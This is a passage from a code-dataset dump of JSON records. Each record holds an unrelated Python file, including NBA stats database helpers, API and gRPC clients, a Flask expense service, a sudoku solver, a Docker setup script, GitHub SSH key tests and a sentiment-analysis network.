logging.info(\"Parsing environment runtime arguments - END\")\n return output\n\n\ndef log_dump(log_container, timestamp, mongo_instance):\n \"\"\"\n Dumps the logs collected in the log_container list locally and adds them\n to the mongo_instance database.\n\n :param log_container: list for collecting log entries\n :param timestamp: datetime.datetime.timestamp or whatever you prefer\n :param mongo_instance: mongo db collection path for storing logs\n :return: No return value\n \"\"\"\n\n logging.debug(\"Log dump - START\")\n\n # define database entry using the Logger's stream handler\n db_entry = {\"name\": \"log_\" + str(timestamp),\n \"output\": log_container.getvalue()}\n # add log output to database\n try:\n mongo_instance.insert_one(db_entry)\n logging.debug(\"Log dump - END\")\n except Exception:\n #TODO: Maybe create a list of mongodb erros to check here?\n logging.exception(\"Bumped into an error while dumping log!\")\n\n\n# has 'x' checks\n\n\ndef has_games(scoreboard_json):\n \"\"\"\n Checks if there were any matches played on a given date. Use this as the\n condition before running the data getters to avoid empty data dumps.\n\n :param scoreboard_json: Scoreboard JSON dump\n :return: Boolean - True if there were any matches\n \"\"\"\n logging.debug(\"Game availability check - START\")\n try:\n if scoreboard_json is not None and scoreboard_json[\"resultSets\"][6][\"rowSet\"] is not []:\n logging.debug(\"Game availability check - END\")\n return True\n except Exception:\n logging.exception(\"Bumped into an error while checking game \"\n \"availability\")\n\n\n# data getters\n\n\ndef get_data_headers(data):\n \"\"\"\n Fetches the list of headers for a given rowSet in nba_py.\n :param data: the nba_py module for on the level 1 step above 'rowSet'\n :return: list of headers for the data set\n \"\"\"\n logging.debug(\"Fetching headers for data set - START\")\n try:\n headers_list = data[\"headers\"]\n return headers_list\n except Exception:\n logging.exception(\"Bumped into an error while fetching headers for data set\")\n\n\ndef get_scoreboard(date, scoreboard_instance):\n \"\"\"\n :param scoreboard_instance: nba_py Scoreboard instance\n :param date: datetime.datetime object as the date we query for\n :return: nba_py Scoreboard object\n \"\"\"\n logging.debug(\"Fetching Scoreboard - START\")\n try:\n scoreboard_json = scoreboard_instance(month=date.month, day=date.day, year=date.year).json\n logging.debug(\"Fetching Scoreboard - DONE\")\n return scoreboard_json\n except Exception:\n logging.exception(\"Bumped into an error while fetching Scoreboard\")\n\n\ndef get_line_score(scoreboard_json):\n \"\"\"\n :param scoreboard_json: nba_py Scoreboard JSON dump\n :return: the LineScore key values from the JSON dump\n \"\"\"\n logging.debug(\"Fetching line score - START.\")\n try:\n scores = scoreboard_json[\"resultSets\"][1][\"rowSet\"]\n logging.debug(\"Fetching line score - DONE.\")\n return scores\n except Exception:\n logging.exception(\"Bumped into an error while getting line score\")\n\n\ndef get_series_standings(scoreboard_json):\n \"\"\"\n :param scoreboard_json: nba_py Scoreboard JSON dump\n :return: series standings for a given game\n \"\"\"\n logging.debug(\"Fetching series standings - START\")\n try:\n series_standings = scoreboard_json[\"resultSets\"][2][\"rowSet\"]\n logging.debug(\"Fetching series standings - DONE\")\n return series_standings\n except Exception:\n logging.exception(\"Bumped into an error while getting series standings\")\n\n\ndef get_last_meeting(scoreboard_json):\n \"\"\"\n :param scoreboard_json: nba_py Scoreboard JSON dump\n :return: last meeting data for a given game\n \"\"\"\n logging.debug(\"Fetching last meetings - START\")\n try:\n last_meeting = scoreboard_json[\"resultSets\"][3][\"rowSet\"]\n logging.debug(\"Fetching series standings - DONE\")\n return last_meeting\n except Exception:\n logging.exception(\"Bumped into an error while getting last meetings\")\n\n\ndef get_conference_standings(scoreboard_json):\n \"\"\"\n :param scoreboard_json: nba_py Scoreboard JSON dump\n :return: a dict containing west and east conference data for a given date\n \"\"\"\n logging.debug(\"Fetching last meetings - END\")\n try:\n east_standings = scoreboard_json[\"resultSets\"][4][\"rowSet\"]\n west_standings = scoreboard_json[\"resultSets\"][5][\"rowSet\"]\n daily_standings = {\"east\": east_standings, \"west\": west_standings}\n logging.debug(\"Fetching series standings - DONE\")\n return daily_standings\n except Exception:\n logging.exception(\"Bumped into an error while getting conference standings\")\n\n\ndef get_team_game_logs(team_id, season, nba_py_module):\n \"\"\"\n Returns a season's worth of game logs for a single NBA team.\n :param team_id: NBA teams id\n :param season: season identifier in the format \"YYYY-YY\", e.g. '2017-18'\n :param nba_py_module: TeamGameLogs class from the teams module of nba_py\n :return: teamgamelog dict with all the logs for games in the season\n \"\"\"\n try:\n logging.debug(\"Trying to get team game log.\")\n output_json = nba_py_module(team_id, season).json\n logging.debug(\"Got team game log. Returning output.\")\n return output_json\n except Exception:\n logging.exception(\"Bumped into exception while getting game log\")\n\n\ndef get_season_nba_game_logs(team_list, season, nba_py_module):\n \"\"\"\n Getter function for fetching the game logs for multiple NBA teams.\n :param team_list: list of nba teams with their ids\n :param season: identifier for the season for which to fetch logs, format: 'YYYY-YY', e.g. '2017-18'\n :param nba_py_module: TeamGameLogs class from teams module in nba_py\n :return: list of dict objects containing game logs for each team\n \"\"\"\n logging.debug(\"Getting NBA game logs (multiple teams) - END\")\n output = []\n try:\n for t in team_list:\n output.append(get_team_game_logs(t['_id'], season, nba_py_module))\n logging.debug(\"Getting NBA game logs (multiple teams) - END\")\n except Exception:\n logging.exception(\"Bumped into a problem when getting NBA game logs (multiple teams)\")\n print(output)\n return output\n\n\ndef season_run(season, mongo_collection):\n # imports\n from constants import nba_teams\n from nba_py.team import TeamGameLogs\n\n # get the team_logs\n\n games = get_season_nba_game_logs(nba_teams, season, TeamGameLogs)\n\n\n# data manipulation funcs\n\n\ndef line_score_formatter(raw_data):\n \"\"\"\n Note: makes use of the scoreboard_line_score_headers constant.\n :param raw_data: line score export list of lists\n :return: formatted data tuple: (pymongo_data, postgresql_data)\n \"\"\"\n # prepare data schemas\n logging.debug(\"Formatting the line score data - START\")\n # the dict is used as a template for the home/away dicts for mongodb\n mongo_template = {'game_date_est': None,\n 'game_sequence': None,\n 'game_id': None,\n 'team_id': None,\n 'away_or_home': None,\n 'data': None\n }\n\n # MongoDB\n try:\n logging.debug(\"Formatting line score for mongo - START\")\n # make copies of the mongodb dict template\n away_team_scoreboard = []\n home_team_scoreboard = []\n\n # split the home and away team's data from raw_data, keeping the sequence of entries\n away = raw_data[::2]\n home = raw_data[1::2]\n\n for team in away:\n temp_dict = mongo_template.copy()\n temp_dict[\"game_date_est\"] = team[0]\n temp_dict[\"game_sequence\"] = team[1]\n temp_dict[\"game_id\"] = team[2]\n temp_dict[\"team_id\"] = team[3]\n temp_dict[\"away_or_home\"] = \"away\"\n temp_dict[\"data\"] = team[4::]\n away_team_scoreboard.append(temp_dict)\n\n for team in home:\n temp_dict = mongo_template.copy()\n temp_dict[\"game_date_est\"] = team[0]\n temp_dict[\"game_sequence\"] = team[1]\n temp_dict[\"game_id\"] = team[2]\n temp_dict[\"team_id\"] = team[3]\n temp_dict[\"away_or_home\"] = \"home\"\n temp_dict[\"data\"] = team\n home_team_scoreboard.append(temp_dict)\n\n # list of dicts in [all-away-teams, all-home-teams] order. Split in 2 by len and zip for pairings\n scoreboard_final_mongodb_flat = away_team_scoreboard + home_team_scoreboard\n\n except Exception:\n logging.exception(\"Bumped into an error while formatting line score for mongo\")\n\n \"\"\"\n # create a list [to keep order] of dict objects for every away team\n for team in away:\n temp_dict = {}\n zipped_data = zip(scoreboard_line_score_headers_lower, team) # use headers from constants\n for zed in zipped_data:\n temp_dict[zed[0]] = zed[1] # use the zipped header, datum pairs as key: value\n away_team_scoreboard.append(temp_dict)\n\n # create a list [to keep order] of dict objects for every home team\n for team in home:\n temp_dict = {}\n zipped_data = zip(scoreboard_line_score_headers_lower, team) # use headers from constants\n for zed in zipped_data:\n temp_dict[zed[0]] = zed[1] # use the zipped header, datum pairs as key: value\n home_team_scoreboard.append(temp_dict)\n\n # create a master dict for both away and home teams' dicts\n scoreboard_final_mongodb = {\"away\": away_team_scoreboard,\n \"home\": home_team_scoreboard}\n\n \"\"\"\n\n # PostgreSQL\n try:\n logging.debug(\"Formatting line score for PostgreSQL - START\")\n scoreboard_final_postgresql = []\n # zip the inner lists of raw_data by 2 for away-home team pairs for every game\n for l in zip(away, home):\n line = l[0] + l[1]\n # validate: each of the elements in the tuple is from the same game sequence\n if line[1] == line[29]: # 1 and 29 are game sequence id's in the zipped list\n scoreboard_final_postgresql.append(line)\n else:\n logging.error(\"Bumped into an error: cannot align game sequence\")\n return ReferenceError\n\n except Exception:\n logging.exception(\"Bumped into an error while formatting line score for PostgreSQL\")\n\n # pack results into output tuple and return\n try:\n output = (scoreboard_final_mongodb_flat, scoreboard_final_postgresql)\n except ReferenceError or ValueError or UnboundLocalError:\n logging.exception(\"Bumped into an error while packing the formatting results for line score\"\n \"\")\n logging.debug(\"Formatting the line score data - END\")\n return output\n\n\ndef format_team_list(team_list):\n \"\"\"\n\n :param team_list:\n :return:\n \"\"\"\n formatted_list = []\n\n for row in team_list:\n new_dict = {\"team_id\": row[1],\n \"team_abbreviation\": row[4]}\n formatted_list.append(new_dict)\n return formatted_list\n\n\n# dispatch funcs\n\n\ndef mongo_dispatcher(data, db_enpoint):\n pass\n\n\ndef postgresql_dispatcher(data, db_enpoint):\n sql_data_schema = \"(id serial PRIMARY KEY, \" \\\n \"away_game_date_est date, \" \\\n \"away_game_sequence integer, \" \\\n \"away_game_id integer, team_id integer, \" \\\n \"away_team_abbreviation varchar(3),\" \\\n \"away_team_city_name varchar,\" \\\n \"away_team_wins_losses varchar(6),\" \\\n \"away_pts_qtr1 integer ,\" \\\n \"away_pts_qtr2 integer, \" \\\n \"away_pts_qtr3 integer,\" \\\n \"away_pts_qtr4 integer, \" \\\n \"away_pts_ot1 integer, \" \\\n \"away_pts_ot2 integer,\" \\\n \"away_pts_ot3 integer,\" \\\n \"away_pts_ot4 integer,\" \\\n \"away_pts_ot5 integer,\" \\\n \"away_pts_ot6 integer,\" \\\n \"away_pts_ot7 integer,\" \\\n \"away_pts_ot8 integer,\" \\\n \"away_pts_ot9 integer,\" \\\n \"away_pts_ot10 integer,\" \\\n \"away_pts integer,\" \\\n \"away_fg_pct double precision,\" \\\n \"away_ft_pct double precision,\" \\\n \"away_fg3_pct double precision,\" \\\n \"away_assists integer,\" \\\n \"away_rebounds integer,\" \\\n \"away_turnovers integer,\" \\\n \"home_game_date_est date, \" \\\n \"home_game_sequence integer, \" \\\n \"home_game_id integer, team_id integer, \" \\\n \"home_team_abbreviation varchar(3),\" \\\n \"home_team_city_name varchar,\" \\\n \"home_team_wins_losses varchar(6),\" \\\n \"home_pts_qtr1 integer ,\" \\\n \"home_pts_qtr2 integer, \" \\\n \"home_pts_qtr3 integer,\" \\\n \"home_pts_qtr4 integer, \" \\\n \"home_pts_ot1 integer, \" \\\n \"home_pts_ot2 integer,\" \\\n \"home_pts_ot3 integer,\" \\\n \"home_pts_ot4 integer,\" \\\n \"home_pts_ot5 integer,\" \\\n \"home_pts_ot6 integer,\" \\\n \"home_pts_ot7 integer,\" \\\n \"home_pts_ot8 integer,\" \\\n \"home_pts_ot9 integer,\" \\\n \"home_pts_ot10 integer,\" \\\n \"home_pts integer,\" \\\n \"home_fg_pct double precision,\" \\\n \"home_ft_pct double precision,\" \\\n \"home_fg3_pct double precision,\" \\\n \"home_assists integer,\" \\\n \"home_rebounds integer,\" \\\n \"home_turnovers integer);\"\n pass\n\n\ndef seed_teams(mongo_collcection, team_data):\n \"\"\"\n :param mongo_collcection: mongo collection to seed with data\n :param team_data: data iterable to be inserted\n :return: result of a insert_many() func on the mongo_collection\n \"\"\"\n\n # add a 'games' key to the team_data dicts with an empty array container\n for td in team_data:\n td['games'] = []\n\n logging.info(\"Seeding mongo collection with constants team data - START\")\n try:\n mongo_collcection.insert_many(team_data)\n except Exception:\n logging.exception(\"Bumped into an error while seeding mono collection with team data\")\n return False\n\n logging.info(\"Seeding mongo collection with constants team data - END\")\n return True\n\n\ndef add_games_from_line_score(mongo_collection, line_score_data):\n \"\"\"\n\n :param mongo_collection: the games db array in a collection\n :param line_score_data: line score data formatted for mongo insertion\n :return: True on insertion success\n \"\"\"\n logging.info(\"Adding games from line score to teams - START\")\n logging.debug(\"Making (team_id, game_id) tuples - START\")\n # make a list of team_id x game_id tuples\n\n team_id_to_game_id = []\n\n try:\n for ls in line_score_data:\n team_id_to_game_id.append((ls[\"team_id\"], ls[\"game_id\"]))\n except Exception:\n logging.exception(\"Bumped into an error while getting team_id x game_id tuples.\")\n return False\n\n # loop over the team_id x game_id tuple and update relevant mongo db entries\n try:\n for tp in team_id_to_game_id:\n # check if the game id wasn't already inserted\n if mongo_collection.find({'_id': tp[0], 'games' : tp[1]}).count() >= 1:\n logging.debug(\"Game already present in the output mongo db array. Passing.\")\n pass\n else:\n # insert game into teams for the correct team\n mongo_collection.update_one({\"_id\" : tp[0]}, {'$push' : {'games' : tp[1]}})\n except Exception:\n logging.exception(\"Bumped into an error while getting team_id x game_id tuples.\")\n return False\n\n logging.info(\"Adding games from line score to teams - END\")\n return True\n\n\n# validators\n\n\ndef mongo_collection_validator (mongo_collection, template_data,\n mongo_param_to_validate,\n template_param_to_validate,\n count_validation,\n item_validation):\n \"\"\"\n Performs either one or two validation actions depending on the flags\n passed in the params:\n (1) when count_validation is True, it counts the number of items in\n the mongo_collection and compares to the number of items in the\n template_data structure.\n (2) when item validation is True, it performs the comparison_func\n on each item from both mongo_collection and template_data. (2) will\n only run if (1) returns True.\n\n :param mongo_collection: mongo_db collection\n :param template_data: data structure to be compared\n :param mongo_param_to_validate: string mongo param to use in the item check\n :param template_param_to_validate: string template param to use in the item check\n :param count_validation: boolean flag\n :param item_validation: boolean flag\n :return: boolean flag\n \"\"\"\n logging.info(\"Validating mongo data - START\")\n count_flag = False\n item_flag = False\n\n # count validation\n if count_validation:\n if mongo_collection.count_documents({}) == len(template_data):\n count_flag = True\n logging.debug(\"Validating mongo data - count validation passed.\")\n else:\n logging.warning(\"Validating mongo data - count validation failed! - END\")\n return False\n\n\n # item validation\n for i in template_data:\n # cross-check each document in mongo collection against template data, by provided params\n if mongo_collection.find_one({mongo_param_to_validate: i[template_param_to_validate]}) is None:\n print(\"Here:\", mongo_collection.find_one({mongo_param_to_validate: i[template_param_to_validate]}))\n item_flag = False\n logging.warning(\"Validating mongo data - item validation failed! - END\")\n return False\n else:\n logging.debug(\"Validating mongo data - item validation passed.\")\n pass\n\n item_flag = True\n logging.info(\"Validating mongo data - all validations passed - END.\")\n return count_flag and item_flag\n\n","sub_path":"NBA_py_getter/helpers.py","file_name":"helpers.py","file_ext":"py","file_size_in_byte":19613,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"217858814","text":"\n\nfrom xai.brain.wordbase.nouns._purl import _PURL\n\n#calss header\nclass _PURLS(_PURL, ):\n\tdef __init__(self,): \n\t\t_PURL.__init__(self)\n\t\tself.name = \"PURLS\"\n\t\tself.specie = 'nouns'\n\t\tself.basic = \"purl\"\n\t\tself.jsondata = {}\n","sub_path":"xai/brain/wordbase/nouns/_purls.py","file_name":"_purls.py","file_ext":"py","file_size_in_byte":224,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"618289974","text":"import requests\nfrom pprint import pprint\nfrom APITest.classManageAPI.login import login\nuser_cookie = login()\nHOST = 'http://127.0.0.1:9000'\nurl = f'{HOST}/api/mgr/sq_mgr/?action=list_teacher&pagenum=1&pagesize=20'\nheader = {'Content-Type':'application/x-www-form-urlencoded'}\nform_data = {'action':'list_teacher','pagenum':1,'pagesize':20}\nres = requests.get(url,data=form_data,cookies=user_cookie)\nres.encoding = 'unicode-escape'\n# print (res.json())\nteacher_id = res.json()['retlist'][0]['id']\n# print (res.json())\n\n\n\n\n\n\n","sub_path":"APITest/teacherManageAPI/list_teacher.py","file_name":"list_teacher.py","file_ext":"py","file_size_in_byte":525,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"340204675","text":"import json\nimport requests\nimport datetime as DT\n\nnow = DT.datetime.now()\ntoday = DT.date.today()\nweek_ago = today - DT.timedelta(days=7)\n\ndef client():\n print('a')\n response = requests.post('http://127.0.0.1:8000/server_upd',{'Cur_ID':145,'Date':today,'Cur_OfficialRate':2.1555})\n print('b')\n response = json.loads(response.text)\n print(response['status'])\n\nprint(client())","sub_path":"my_exrate/clients.py","file_name":"clients.py","file_ext":"py","file_size_in_byte":390,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"117983278","text":"import grpc\n\nimport test_pb2\nimport test_pb2_grpc\n\n\ndef run():\n # SSL/TLS認証を利用する場合は`secure_channel`を使用する\n # 通信先を設定する(server.pyでポートを50051に設定したのでそれを指定)\n # リトライ設定等はoptionで指定できる\n with grpc.insecure_channel('localhost:50051') as channel:\n stub = test_pb2_grpc.MyGrpcStub(channel)\n # ここでデータを送信している\n resp = stub.GetSomething(test_pb2.MyReq(int_param=99, str_param='me'))\n # 受け取ったデータはxx.yyで受け取れる\n print(f'client received: status={resp.status}, message={resp.message}')\n\n\nif __name__ == '__main__':\n print(\"run\")\n run()\n","sub_path":"grpc/client.py","file_name":"client.py","file_ext":"py","file_size_in_byte":724,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"454899485","text":"from datetime import datetime, timedelta\nimport calendar\n\nfrom app.main import db\nfrom app.main.model.expense import Expense\n\nfrom app.main.util.helpers import get_date\n\nfrom flask import jsonify\n\n\ndef save_new_expense(data, owner):\n new_expense = Expense(\n owner = owner,\n name = data['name'],\n description = data['description'],\n amount = data['amount'],\n created_on = datetime.utcnow()\n )\n save_changes(new_expense)\n response_object = {\n 'status': 'success',\n 'message': 'Expense successfully created.'\n }\n return response_object, 201\n\n\ndef get_user_expenses(owner):\n expenses = Expense.query.filter_by(owner=owner).all()\n\n expense_list = [make_expense_object(expense) for expense in expenses]\n\n print(expense_list)\n response_object = {\n 'status': 'success',\n 'expenses': expense_list\n }\n return response_object, 200\n\n\ndef make_expense_object(expense):\n expense_object = {\n 'name': expense.name,\n 'description': expense.description,\n 'amount': expense.amount,\n }\n return expense_object\n\n\ndef get_expense(data):\n pass\n\n\ndef save_changes(data):\n db.session.add(data)\n db.session.commit()\n","sub_path":"app/main/service/expense_service.py","file_name":"expense_service.py","file_ext":"py","file_size_in_byte":1227,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"475557445","text":"#! /usr/bin/env python\nimport sys\nimport os\nimport math\nimport time\nfrom backtracking import *\nfrom hillclimbing import *\nfrom backtracking_prime import *\n\n\ndef input_conversion(input):\n n = len(input)**(1/4)\n if n-int(n)!=0:\n print(\"Not a valid sudoku string. Please try again.\")\n exit()\n else:\n n = int(n)\n sudoku=[]\n\n\n '''Two for loops\n The loop will go 0-n^2 if a dot meaning a blank space is in input a zero will be put in\n '''\n temp=[]\n\n if input.isnumeric():\n for i in range( len(input)):\n\n\n if len(temp)2 :\n my_input = str(argv[2])\n tup = input_conversion(my_input)\n grid = tup[1]\n n = tup[0]\n\n #print (\"Initial Grid\")\n #pretty_print_puzzle(grid, n)\n\n start = int(round(time.time()*1000))\n if ('backtracking' in argv):\n solver = Backtracking(n)\n start = int(round(time.time()*1000))\n solver.backtracking_search(grid)\n finish = int(round(time.time()*1000))\n\n elif('hillclimbing' in argv):\n solver = Hillclimbing(n)\n start = int(round(time.time()*1000))\n puzzle = solver.conversion(my_input)\n solver.hillclimbing_search(puzzle)\n finish = int(round(time.time()*1000))\n\n elif('backtracking_prime' in argv):\n solver = backtracking_prime(grid, n)\n start = int(round(time.time()*1000))\n solver.solve_puzzle()\n finish = int(round(time.time()*1000))\n else:\n print(\"Invalid input to program.\")\n print(\"Please rerun the program with the following format of input:\")\n print(\"python3 main.py \\n\"\n +\"The following are valid inputs: \\n\"\n +\" backtracking\\n backtracking_prime\\n hillclimbing\")\n sys.exit()\n\n with open(\"timeResults.txt\", 'a') as file:\n out = str(finish - start)+\"\\n\"\n file.write(out)\n file.close()\n print(\"It took {} ms to solve\".format(finish - start))\n\nif __name__ == \"__main__\":\n main(sys.argv)\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3135,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"487718996","text":"#!/usr/bin/python3\nimport os\nimport sys\n\ndisableQuestions = False\n\ndef main():\n global disableQuestions\n\n if len(sys.argv) > 1:\n disableQuestions = sys.argv[1]\n\n containerName = \"blob_frontend\"\n \n # Ask for custom tag.\n tag = askInput(\"Specifiy Tag [latest]: \", \"latest\")\n \n # Print create cmd to validate\n dockerCMD = f\"docker run --restart always -d -p 80:80 --name {containerName} --network blob blobcd/blob:{tag}\"\n print(dockerCMD)\n\n # Validate cmd and create new container, pull latest image:tag\n if askYesOrNo(\"Befehl korrekt? [j, N]: \"):\n # Remove old container if any.\n oldContainerExists = os.system(f\"docker ps | grep {containerName}\")\n if oldContainerExists is 0:\n removeOld = askYesOrNo(\"Remove old container? [j, N]: \")\n if removeOld is True:\n os.system(f\"docker rm -f {containerName}\")\n\n os.system(f\"docker pull blobcd/blob:{tag}\")\n os.system(dockerCMD)\n\ndef askYesOrNo(text):\n global disableQuestions\n\n if disableQuestions is False:\n yes = {'yes','y', 'ye', 'j'}\n no = {'no','n', ''}\n\n choice = input(text).lower()\n if choice in yes:\n return True\n elif choice in no:\n return False\n else:\n print(\"Please respond with 'yes' or 'no'\")\n else:\n return True\n\ndef askInput(question, default=\"latest\"):\n global disableQuestions\n if disableQuestions is False:\n answer = input(question)\n if answer is \"\":\n return default\n else:\n return answer\n else:\n return \"f_latest\"\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"createFrontendDocker.py","file_name":"createFrontendDocker.py","file_ext":"py","file_size_in_byte":1678,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"360446474","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\nfrom PIL import Image\nfrom VALID import ns, OKI\nimport subprocess, os\n\ndef veri(n):\n ciert=False\n if n!=(\"\"):\n for i in os.listdir():\n if i.startswith(n):\n ciert=True\n break\n if ciert==False:\n print(\"No se encontro ningún archivo con tales iniciales.\")\n return ciert\n\nwhile True:\n nueva_ruta=input(\"Introduzca ruta: \")\n try:\n os.chdir(nueva_ruta)\n break\n except:\n print(\"RUTA NO VALIDA\")\n\n#os.chdir(r'C:\\Users\\Antonio\\Documents\\Nueva carpeta\\imagess')\n\nwhile True:\n \n print(\"\")\n print(\"_____________________________\")\n print(\"| |\")\n print(\"| --IMAGE CUTTER-- |\")\n print(\"|___________________________|\")\n print(\"\")\n\n saving=ns(input(\"¿Desea conservar los archivos originales?: \"))\n\n pasa=False\n while pasa==False:\n inicial=input(\"Introduce inicial: \")\n pasa=veri(inicial)\n \n dato_iz=OKI(input(\"Introduce dato izquierdo: \"))\n dato_sup=OKI(input(\"Introduce dato superior: \"))\n dato_der=OKI(input(\"Introduce dato derecho: \"))\n dato_inf=OKI(input(\"Introduce dato inferior: \"))\n \n box=(dato_iz, dato_sup, dato_der, dato_inf)\n \n print(\"\")\n for file in os.listdir():\n if file.startswith(inicial) and not file.endswith('.gif'):\n try:\n imagen = Image.open(file)\n ig=imagen\n n_imagen = imagen.crop(box)\n if saving==\"s\":\n nom, ext = os.path.splitext(file)\n file = nom+\"(copia)\"+ext\n n_imagen.save(file)\n print(\"Operación completada con éxito para el archivo\", file) \n\n except:\n print(\"La operación no pudo completarse con éxito para el archivo\", file)\n ig.save(file)\n ig.close()\n break\n print(\"\")\n\n conti=ns(input(\"¿Continuar?: \"))\n\n if conti==\"n\":\n break\n subprocess.call([\"cmd.exe\",\"/C\",\"cls\"])\n","sub_path":"recortador.py","file_name":"recortador.py","file_ext":"py","file_size_in_byte":2092,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"188188515","text":"import unittest\nfrom mock import patch\nimport os.path\nfrom dsegithub.github.key_management import GitHubKeyManagement\nimport mocks\n\n\nclass CreateKeyTestCase(unittest.TestCase):\n def setUp(self):\n self.token = \"token\"\n self.private_key_output_path = \"/tmp/private.key\"\n self.public_key_output_path = \"/tmp/public.key\"\n\n self.public_key_file = \"tests/files/public.key\"\n self.private_key_file = \"tests/files/private.key\"\n self.public_key = \"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCjIwf/HSfMnksJgQShC1KaO+N3ayhyfP\" \\\n \"HzzZP+tHguEzfZ7Mu2EYbd58n7PT3c9zDle9BlFyb5OnYeewuiGx2IuakvtzOPdhDJeQdz\" \\\n \"f0IpPXktPe0h5LtspJzsQIMyQt6Ykv0Hdb2hKkl9csqNVbtg7Ksw9VD6Nca0xG8UpasLDu\" \\\n \"4k+OfkWJ3Az5IOHE7sR2lCdlRhbhatD6Pd5ROlD3ueqPND68kPbDI9dljRpmUhSvvL2KlR\" \\\n \"3zSxu+u/Fi0yq3m0TV5TaLlVz1fNv+NiSNxb6J/KCtSLIGrxv6jRPLmTHJOuy7QRHpbqqf\" \\\n \"q8f3eKUuxAiuPPddbtL4mNbE+nKxuJ\"\n\n # Check if key exists\n\n # Read key from public key file\n def test_read_public_key_from_file(self):\n test_key = GitHubKeyManagement(token=self.token)\n test_public_key = test_key.read_key_file(self.public_key_file)\n self.assertEqual(test_public_key, self.public_key)\n\n # Check if public key is on github\n @patch(\"github3.login\", mocks.mock_github3)\n def test_public_key_is_on_github(self):\n test_key = GitHubKeyManagement(token=self.token)\n self.assertTrue(test_key.check_key_on_github(self.public_key))\n\n # Add the new public key to github\n @patch(\"github3.login\", mocks.mock_github3)\n def test_add_new_public_key_to_github(self):\n test_key = GitHubKeyManagement(token=self.token)\n test_key_output = test_key.add_key_to_github(self.public_key_file)\n self.assertIsNotNone(test_key_output)\n self.assertEqual(test_key_output, self.public_key)\n\n # Create an SSH public and private key\n def test_create_public_key_files(self):\n try:\n test_key = GitHubKeyManagement(token=self.token)\n test_key.generate_key_files(self.private_key_output_path, self.public_key_output_path)\n except IOError:\n self.fail(\"IOError\")\n\n if not os.path.isfile(self.private_key_output_path):\n self.fail(\"private_key not found\")\n\n if not os.path.isfile(self.public_key_output_path):\n self.fail(\"public_key not found\")\n\n # Verify private key can decode the public key\n def test_private_key_decode_public_key(self):\n test_key = GitHubKeyManagement(token=self.token)\n self.assertTrue(test_key.verify_private_public_keys(self.private_key_file,\n self.public_key_file))\n","sub_path":"tests/test_github_key_management.py","file_name":"test_github_key_management.py","file_ext":"py","file_size_in_byte":2812,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"287509056","text":"#!/usr/bin/env python3\r\n\r\nimport time\r\nimport sys\r\nimport numpy as np\r\nimport pickle\r\nfrom collections import Counter\r\n\r\n# Encapsulate our neural network in a class\r\nclass SentimentNetwork:\r\n def __init__(self, reviews, labels, hidden_nodes = 10, learning_rate = 0.1, min_count=20, polarity_cutoff=0.05):\r\n \"\"\"Create a SentimenNetwork with the given settings\r\n Args:\r\n reviews(list) - List of reviews used for training\r\n labels(list) - List of POSITIVE/NEGATIVE labels associated with the given reviews\r\n hidden_nodes(int) - Number of nodes to create in the hidden layer\r\n learning_rate(float) - Learning rate to use while training\r\n\r\n \"\"\"\r\n # Assign a seed to our random number generator to ensure we get\r\n # reproducable results during development\r\n np.random.seed(1)\r\n\r\n self.min_count = min_count\r\n self.polarity_cutoff = polarity_cutoff\r\n\r\n # process the reviews and their associated labels so that everything\r\n # is ready for training\r\n self.pre_process_data(reviews, labels)\r\n\r\n # Build the network to have the number of hidden nodes and the learning rate that\r\n # were passed into this initializer. Make the same number of input nodes as\r\n # there are vocabulary words and create a single output node.\r\n self.init_network(len(self.review_vocab),hidden_nodes, 1, learning_rate)\r\n\r\n\r\n def pre_process_data(self, reviews, labels):\r\n\r\n positive_counts = Counter()\r\n negative_counts = Counter()\r\n total_counts = Counter()\r\n\r\n for review, label in zip(reviews, labels):\r\n words = review.split(' ')\r\n for w in words:\r\n if label=='POSITIVE':\r\n positive_counts[w] += 1\r\n else:\r\n negative_counts[w] += 1\r\n total_counts[w] +=1\r\n\r\n pos_neg_ratios = Counter()\r\n\r\n # Calculate the ratios of positive and negative uses of the most common words\r\n # Consider words to be \"common\" if they've been used at least 50 times\r\n\r\n for word,n in total_counts.most_common():\r\n if n > 50:\r\n pos_neg_ratios[word] = positive_counts[word] / float(negative_counts[word]+1)\r\n\r\n for word,ratio in pos_neg_ratios.most_common():\r\n pos_neg_ratios[word] = np.log(pos_neg_ratios[word])\r\n\r\n review_vocab = set()\r\n\r\n # try:\r\n # with open('review_vocab.dat','rb') as f:\r\n # review_vocab = pickle.load(f)\r\n # print('.using review_vocab.dat')\r\n # except:\r\n # for review in reviews:\r\n # for word in review.split(' '):\r\n # review_vocab.add(word)\r\n # with open('review_vocab.dat','wb') as f:\r\n # pickle.dump(review_vocab, f)\r\n # print('.saved review_vocab.dat')\r\n\r\n # this used to add all words\r\n # for review in reviews:\r\n # for word in review.split(' '):\r\n # review_vocab.add(word)\r\n\r\n for word,ratio in pos_neg_ratios.most_common():\r\n if abs(ratio)>self.polarity_cutoff and total_counts[word]>self.min_count:\r\n review_vocab.add(word)\r\n\r\n # Convert the vocabulary set to a list so we can access words via indices\r\n self.review_vocab = list(review_vocab)\r\n\r\n # Convert the label vocabulary set to a list so we can access labels via indices\r\n self.label_vocab = ['NEGATIVE','POSITIVE']\r\n\r\n # Store the sizes of the review and label vocabularies.\r\n self.review_vocab_size = len(self.review_vocab)\r\n self.label_vocab_size = len(self.label_vocab)\r\n\r\n # Create a dictionary of words in the vocabulary mapped to index positions\r\n self.word2index = {}\r\n for i,word in enumerate(review_vocab):\r\n self.word2index[word]=i\r\n\r\n # Create 